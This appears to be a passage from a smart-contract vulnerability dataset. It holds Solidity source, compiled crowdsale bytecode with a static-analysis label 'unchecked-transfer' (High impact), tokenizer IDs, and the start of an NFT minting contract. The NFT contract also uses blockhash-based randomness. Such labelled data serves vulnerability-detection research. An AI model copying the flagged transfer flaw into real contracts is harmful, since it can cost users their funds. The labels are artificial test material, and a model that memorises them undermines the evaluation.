`private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063bf58390311610064578063bf5839031461031c578063bff99c6c14610347578063ec8ac4d814610372578063f2fde38b1461038e578063fc0c546a146103b757610119565b8063715018a6146102865780638da5cb5b1461029d578063a27aebbc146102c8578063b7a8807c146102f157610119565b806349df728c116100d157806349df728c146101ca5780634b6753bc146101f3578063521eb2731461021e57806370a082311461024957610119565b80631515bc2b1461011e5780632c4e722e146101495780634042b66f1461017457806347535d7b1461019f57610119565b36610119576101176101126103e2565b6103ea565b005b600080fd5b34801561012a57600080fd5b50610133610509565b604051610140919061177b565b60405180910390f35b34801561015557600080fd5b5061015e610515565b60405161016b91906119aa565b60405180910390f35b34801561018057600080fd5b5061018961051f565b60405161019691906119aa565b60405180910390f35b3480156101ab57600080fd5b506101b4610529565b6040516101c1919061177b565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec91906113ae565b610544565b005b3480156101ff57600080fd5b506102086106f3565b60405161021591906119aa565b60405180910390f35b34801561022a57600080fd5b506102336106fd565b6040516102409190611700565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b91906113ae565b610727565b60405161027d91906119aa565b60405180910390f35b34801561029257600080fd5b5061029b610770565b005b3480156102a957600080fd5b506102b26107f8565b6040516102bf91906116e5565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611400565b610822565b005b3480156102fd57600080fd5b506103066108aa565b60405161031391906119aa565b60405180910390f35b34801561032857600080fd5b506103316108b4565b60405161033e91906119aa565b60405180910390f35b34801561035357600080fd5b5061035c610a29565b60405161036991906116e5565b60405180910390f35b61038c600480360381019061038791906113ae565b6103ea565b005b34801561039a57600080fd5b506103b560048036038101906103b091906113ae565b610a53565b005b3480156103c357600080fd5b506103cc610b4b565b6040516103d99190611796565b60405180910390f35b600033905090565b60026000541415610430576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104279061196a565b60405180910390fd5b600260008190555060003490506104478282610b75565b600061045282610bca565b9050816004546104629190611a20565b6004819055506104728382610be1565b8273ffffffffffffffffffffffffffffffffffffffff166104916103e2565b73ffffffffffffffffffffffffffffffffffffffff167f6faf93231a456e552dbc9961f58d9713ee4f2e69d15f1975b050ef0911053a7b84846040516104d89291906119c5565b60405180910390a36104ea8383610ca6565b6104f2610caa565b6104fc8383610d15565b5050600160008190555050565b60006007544211905090565b6000600354905090565b6000600454905090565b6000600654421015801561053f57506007544211155b905090565b61054c610509565b61058b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105829061190a565b60405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111610612576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610609906118aa565b60405180910390fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663beabacc861069d610b4b565b84846040518463ffffffff1660e01b81526004016106bd939291906117b1565b600060405180830381600087803b1580156106d757600080fd5b505af11580156106eb573d6000803e3d6000fd5b505050505050565b6000600754905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107786103e2565b73ffffffffffffffffffffffffffffffffffffffff166107966107f8565b73ffffffffffffffffffffffffffffffffffffffff16146107ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e3906118ca565b60405180910390fd5b6107f66000610d19565b565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61082a6103e2565b73ffffffffffffffffffffffffffffffffffffffff166108486107f8565b73ffffffffffffffffffffffffffffffffffffffff161461089e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610895906118ca565b60405180910390fd5b6108a781610ddf565b50565b6000600654905090565b6000610a246108c1610b4b565b73ffffffffffffffffffffffffffffffffffffffff166370a08231600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161091b91906116e5565b60206040518083038186803b15801561093357600080fd5b505afa158015610947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096b9190611429565b610973610b4b565b73ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b81526004016109cf92919061171b565b60206040518083038186803b1580156109e757600080fd5b505afa1580156109fb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1f9190611429565b610eb0565b905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a5b6103e2565b73ffffffffffffffffffffffffffffffffffffffff16610a796107f8565b73ffffffffffffffffffffffffffffffffffffffff1614610acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac6906118ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b369061180a565b60405180910390fd5b610b4881610d19565b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b7d610529565b610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb39061182a565b60405180910390fd5b610bc68282610ec9565b5050565b600060035482610bda9190611a76565b9050919050565b610c3381600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1e90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca2600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682610f34565b5050565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610d12573d6000803e3d6000fd5b50565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b610de7610509565b15610e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1e9061186a565b60405180910390fd5b6007548111610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e629061188a565b60405180910390fd5b7f46711e222f558a07afd26e5e71b48ecb0a8b2cdcd40faeb1323e05e2c76a2f3260075482604051610e9e9291906119c5565b60405180910390a18060078190555050565b6000818310610ebf5781610ec1565b825b905092915050565b610ed1610529565b610f10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f079061182a565b60405180910390fd5b610f1a8282610f42565b5050565b60008183610f2c9190611a20565b905092915050565b610f3e8282610ffa565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa9906118ea565b60405180910390fd5b6000811415610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed9061198a565b60405180910390fd5b5050565b611050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838361102a610b4b565b73ffffffffffffffffffffffffffffffffffffffff16611054909392919063ffffffff16565b5050565b6110d7846323b872dd60e01b85858560405160240161107593929190611744565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506110dd565b50505050565b600061113f826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166111a49092919063ffffffff16565b905060008151111561119f578080602001905181019061115f91906113d7565b61119e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111959061194a565b60405180910390fd5b5b505050565b60606111b384846000856111bc565b90509392505050565b606082471015611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f89061184a565b60405180910390fd5b61120a856112d0565b611249576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112409061192a565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161127291906116ce565b60006040518083038185875af1925050503d80600081146112af576040519150601f19603f3d011682016040523d82523d6000602084013e6112b4565b606091505b50915091506112c48282866112f3565b92505050949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b6060831561130357829050611353565b6000835111156113165782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134a91906117e8565b60405180910390fd5b9392505050565b60008135905061136981611ee0565b92915050565b60008151905061137e81611ef7565b92915050565b60008135905061139381611f0e565b92915050565b6000815190506113a881611f0e565b92915050565b6000602082840312156113c057600080fd5b60006113ce8482850161135a565b91505092915050565b6000602082840312156113e957600080fd5b60006113f78482850161136f565b91505092915050565b60006020828403121561141257600080fd5b600061142084828501611384565b91505092915050565b60006020828403121561143b57600080fd5b600061144984828501611399565b91505092915050565b61145b81611ae2565b82525050565b61146a81611ad0565b82525050565b61147981611af4565b82525050565b600061148a826119ee565b6114948185611a04565b93506114a4818560208601611b4e565b80840191505092915050565b6114b981611b2a565b82525050565b60006114ca826119f9565b6114d48185611a0f565b93506114e4818560208601611b4e565b6114ed81611bb0565b840191505092915050565b6000611505602683611a0f565b915061151082611bc1565b604082019050919050565b6000611528601883611a0f565b915061153382611c10565b602082019050919050565b600061154b602683611a0f565b915061155682611c39565b604082019050919050565b600061156e601e83611a0f565b915061157982611c88565b602082019050919050565b6000611591603f83611a0f565b915061159c82611cb1565b604082019050919050565b60006115b4603883611a0f565b91506115bf82611d00565b604082019050919050565b60006115d7602083611a0f565b91506115e282611d4f565b602082019050919050565b60006115fa602a83611a0f565b915061160582611d78565b604082019050919050565b600061161d602183611a0f565b915061162882611dc7565b604082019050919050565b6000611640601d83611a0f565b915061164b82611e16565b602082019050919050565b6000611663602a83611a0f565b915061166e82611e3f565b604082019050919050565b6000611686601f83611a0f565b915061169182611e8e565b602082019050919050565b60006116a9601983611a0f565b91506116b482611eb7565b602082019050919050565b6116c881611b20565b82525050565b60006116da828461147f565b915081905092915050565b60006020820190506116fa6000830184611461565b92915050565b60006020820190506117156000830184611452565b92915050565b60006040820190506117306000830185611461565b61173d6020830184611461565b9392505050565b60006060820190506117596000830186611461565b6117666020830185611461565b61177360408301846116bf565b949350505050565b60006020820190506117906000830184611470565b92915050565b60006020820190506117ab60008301846114b0565b92915050565b60006060820190506117c660008301866114b0565b6117d36020830185611461565b6117e060408301846116bf565b949350505050565b6000602082019050818103600083015261180281846114bf565b905092915050565b60006020820190508181036000830152611823816114f8565b9050919050565b600060208201905081810360008301526118438161151b565b9050919050565b600060208201905081810360008301526118638161153e565b9050919050565b6000602082019050818103600083015261188381611561565b9050919050565b600060208201905081810360008301526118a381611584565b9050919050565b600060208201905081810360008301526118c3816115a7565b9050919050565b600060208201905081810360008301526118e3816115ca565b9050919050565b60006020820190508181036000830152611903816115ed565b9050919050565b6000602082019050818103600083015261192381611610565b9050919050565b6000602082019050818103600083015261194381611633565b9050919050565b6000602082019050818103600083015261196381611656565b9050919050565b6000602082019050818103600083015261198381611679565b9050919050565b600060208201905081810360008301526119a38161169c565b9050919050565b60006020820190506119bf60008301846116bf565b92915050565b60006040820190506119da60008301856116bf565b6119e760208301846116bf565b9392505050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000611a2b82611b20565b9150611a3683611b20565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a6b57611a6a611b81565b5b828201905092915050565b6000611a8182611b20565b9150611a8c83611b20565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611ac557611ac4611b81565b5b828202905092915050565b6000611adb82611b00565b9050919050565b6000611aed82611b00565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611b3582611b3c565b9050919050565b6000611b4782611b00565b9050919050565b60005b83811015611b6c578082015181840152602081019050611b51565b83811115611b7b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f54696d656443726f776473616c653a206e6f74206f70656e0000000000000000600082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f54696d656443726f776473616c653a20616c726561647920636c6f7365640000600082015250565b7f54696d656443726f776473616c653a206e657720636c6f73696e672074696d6560008201527f206973206265666f72652063757272656e7420636c6f73696e672074696d6500602082015250565b7f506f737444656c697665727943726f776473616c653a2062656e65666963696160008201527f7279206973206e6f742064756520616e7920746f6b656e730000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f43726f776473616c653a2062656e656669636961727920697320746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f506f737444656c697665727943726f776473616c653a206e6f7420636c6f736560008201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f43726f776473616c653a20776569416d6f756e74206973203000000000000000600082015250565b611ee981611ad0565b8114611ef457600080fd5b50565b611f0081611af4565b8114611f0b57600080fd5b50565b611f1781611b20565b8114611f2257600080fd5b5056fea2646970667358221220ece6eaf3618e0fa201dff889fb1e0e0cc87211e9a44c9515ed74d33d1ce322fc64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2050, 28756, 2575, 2050, 2575, 2487, 2278, 2683, 22275, 2546, 16048, 11057, 2497, 18139, 2487, 2063, 2620, 2549, 2094, 23632, 2063, 2683, 2575, 2278, 2620, 2278, 2620, 2094, 2475, 27717, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2695, 9247, 16402, 2100, 24375, 5104, 9453, 1012, 14017, 1000, 1025, 3206, 12927, 3022, 2595, 2003, 2695, 9247, 16402, 2100, 24375, 5104, 9453, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,607
0x956a6BD51E05C78F8c4026ceF8E62d87f6646c42
// contracts/NFT.sol // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity ^0.8.3; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; contract PixaworldNFT is ERC721Enumerable, Ownable { using SafeMath for uint256; string public PROVENANCE; uint256 public startingIndexBlock; uint256 public startingIndex; bool public saleIsActive = false; string private _baseURIextended; uint256 public constant MAX_SUPPLY = 1000; uint256 public constant MAX_PUBLIC_MINT = 10; uint256 public constant PRICE_PER_TOKEN = 0.1 ether; constructor() ERC721("Pixaworld NFT", "PIXA") { } function mint(uint numberOfTokens) public payable { uint256 ts = totalSupply(); require(saleIsActive, "Sale must be active to mint tokens"); require(numberOfTokens <= MAX_PUBLIC_MINT, "Exceeded max token purchase"); require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase would exceed max tokens"); require(PRICE_PER_TOKEN * numberOfTokens <= msg.value, "Ether value sent is not correct"); for (uint256 i = 0; i < numberOfTokens; i++) { _safeMint(msg.sender, ts + i); } // If we haven't set the starting index and this is the last saleable token if (startingIndexBlock == 0 && totalSupply() == MAX_SUPPLY) { startingIndexBlock = block.number; } } function setProvenance(string memory provenance) public onlyOwner { PROVENANCE = provenance; } function reserve(uint256 n) public onlyOwner { uint256 supply = totalSupply(); require(supply + n <= MAX_SUPPLY, "Reserve would exceed max tokens"); uint i; for (i = 0; i < n; i++) { _safeMint(msg.sender, supply + i); } // If we haven't set the starting index and this is the last saleable token if (startingIndexBlock == 0 && totalSupply() == MAX_SUPPLY) { startingIndexBlock = block.number; } } function setBaseURI(string memory baseURI_) external onlyOwner() { _baseURIextended = baseURI_; } function baseURI() public view virtual returns (string memory) { return _baseURIextended; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIextended; } function setSaleState(bool newState) public onlyOwner { saleIsActive = newState; } /** * Set the starting index for the collection */ function setStartingIndex() public { require(startingIndex == 0, "Starting index is already set"); require(startingIndexBlock != 0, "Starting index block must be set"); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_SUPPLY; // Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes) if (block.number.sub(startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number - 1)) % MAX_SUPPLY; } // Prevent default sequence if (startingIndex == 0) { startingIndex = startingIndex.add(1); } } /** * Set the starting index block for the collection, essentially unblocking * setting starting index */ function emergencySetStartingIndexBlock() public onlyOwner { require(startingIndex == 0, "Starting index is already set"); startingIndexBlock = block.number; } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual 